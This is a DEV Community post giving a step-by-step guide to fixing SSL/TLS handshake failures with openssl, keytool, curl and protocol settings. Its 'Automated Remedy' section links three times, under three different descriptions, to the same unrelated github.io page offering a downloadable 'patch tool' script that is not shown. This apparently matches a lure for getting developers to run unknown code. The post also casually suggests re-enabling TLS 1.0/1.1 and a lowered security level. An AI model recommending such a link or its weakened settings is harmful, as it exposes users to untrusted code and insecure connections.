DEV Community

Deep Fix
Deep Fix

Posted on

Fix SSL/TLS Certificate Handshake Failures – Step-by-Step Guide for DevOps & Developers

#ssl #tls #troubleshooting #devops

Introduction

SSL/TLS handshake failures are frustrating and can bring services to a halt. This guide walks you through the most common causes and provides concrete, reproducible steps to get your connections working again.

Common Causes

  • Expired or mismatched server certificate
  • Missing intermediate certificates in the chain
  • Client and server disagree on supported TLS versions or cipher suites
  • Incorrect trust store configuration on the client side
  • SNI (Server Name Indication) not sent when required

Step‑by‑Step Troubleshooting

1. Verify the server certificate 

openssl s_client -connect example.com:443 -servername example.com
Enter fullscreen mode Exit fullscreen mode

Look for Verify return code: 0 (ok). If you see certificate has expired or unable to get local issuer certificate, the server chain is broken.

2. Check the client trust store

  • Linux (OpenSSL): openssl version -d shows the default CA directory. Ensure the relevant root/intermediate PEM files are present.
  • Windows/.NET: Use certmgr.msc or Get-ChildItem -Path Cert:\CurrentUser\Root in PowerShell.
  • Java: keytool -list -keystore $JAVA_HOME/lib/security/cacerts.

3. Align protocol versions

Force the client to use a modern TLS version.

curl -v https://example.com --tlsv1.2
Enter fullscreen mode Exit fullscreen mode 
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
Enter fullscreen mode Exit fullscreen mode 
System.setProperty("https.protocols", "TLSv1.2");
Enter fullscreen mode Exit fullscreen mode

If the server only supports TLS 1.0/1.1, upgrade the server or enable those versions temporarily.

4. Inspect cipher suites

Mismatched cipher suites can also abort the handshake.

openssl ciphers -v 'ALL:@SECLEVEL=1'
Enter fullscreen mode Exit fullscreen mode

Adjust the server's ssl_ciphers or client configuration to include a common suite.

Automated Remedy

We provide a pre‑configured script that automates the most common fixes. Download the pre‑configured script here: https://gaba-101010.github.io/GG/
Or Get the complete patch tool: https://gaba-101010.github.io/GG/
For the full source, Access the full repository fix: https://gaba-101010.github.io/GG/

Conclusion

SSL/TLS handshake failures are usually a combination of certificate chain issues, protocol mismatches, or outdated trust stores. By systematically verifying each layer—certificate, trust store, protocol, and cipher—you can quickly pinpoint the root cause and restore secure connectivity. Happy debugging!

Top comments (0)